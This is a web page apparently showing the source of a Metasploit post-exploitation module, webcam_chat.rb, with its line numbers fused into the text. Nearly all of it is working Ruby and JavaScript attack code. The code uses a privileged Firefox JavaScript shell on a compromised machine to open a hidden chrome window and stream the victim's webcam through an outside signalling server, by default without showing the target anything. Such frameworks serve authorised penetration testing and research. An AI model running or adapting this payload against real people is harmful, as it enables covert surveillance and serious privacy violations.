Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/firefox/manage/webcam_chat.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'json'67class MetasploitModule < Msf::Post8include Msf::Exploit::Remote::FirefoxPrivilegeEscalation9include Msf::Post::WebRTC1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Firefox Webcam Chat on Privileged Javascript Shell',16'Description' => %q{17This module allows streaming a webcam from a privileged Firefox Javascript shell.18},19'License' => MSF_LICENSE,20'Author' => [ 'joev' ],21'References' => [22[ 'URL', 'http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode' ]23],24'DisclosureDate' => '2014-05-13'25)26)2728register_options([29OptBool.new('CLOSE', [false, 'Forcibly close previous chat session', false]),30OptBool.new('VISIBLE', [false, 'Show a window containing the chat to the target', false]),31OptInt.new('TIMEOUT', [false, 'End the chat session after this many seconds', -1]),32OptString.new('ICESERVER', [true, 'The ICE server that sets up the P2P connection', 'wsnodejs.jit.su:80'])33])34end3536def run37unless os_check38print_error 'Windows versions of Firefox are not supported at this time [RM #8810].'39return40end4142server = datastore['ICESERVER']43offerer_id = Rex::Text.rand_text_alphanumeric(10)44channel = Rex::Text.rand_text_alphanumeric(20)4546result = js_exec(js_payload(server, offerer_id, channel))4748if datastore['CLOSE']49print_status 'Stream closed.'50elsif result.present?51print_status result52connect_video_chat(server, channel, offerer_id)53else54print_warning 'No response received'55end56end5758def os_check59user_agent = js_exec(%|60return Components.classes["@mozilla.org/network/protocol;1?name=http"]61.getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;62|)63user_agent !~ /windows/i64end6566def js_payload(server, offerer_id, channel)67interface = load_interface('offerer.html')68api = load_api_code6970interface.gsub!(/=SERVER=/, server)71interface.gsub!(/=CHANNEL=/, channel)72interface.gsub!(/=OFFERERID=/, offerer_id)7374if datastore['TIMEOUT'] > 075api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT'] * 1000}); "76end7778url = if datastore['CLOSE']79'"about:blank"'80else81'"data:text/html;base64,"+html'82end8384name = if datastore['VISIBLE']85Rex::Text.rand_text_alphanumeric(10)86else87'_self'88end8990%|91(function(send){92try {9394var AppShellService = Components95.classes["@mozilla.org/appshell/appShellService;1"]96.getService(Components.interfaces.nsIAppShellService);9798var html = "#{Rex::Text.encode_base64(interface)}";99var url = #{url};100AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600');101send("Streaming webcam...");102103} catch (e) {104send(e);105}106})(this.send);107|108end109end110111112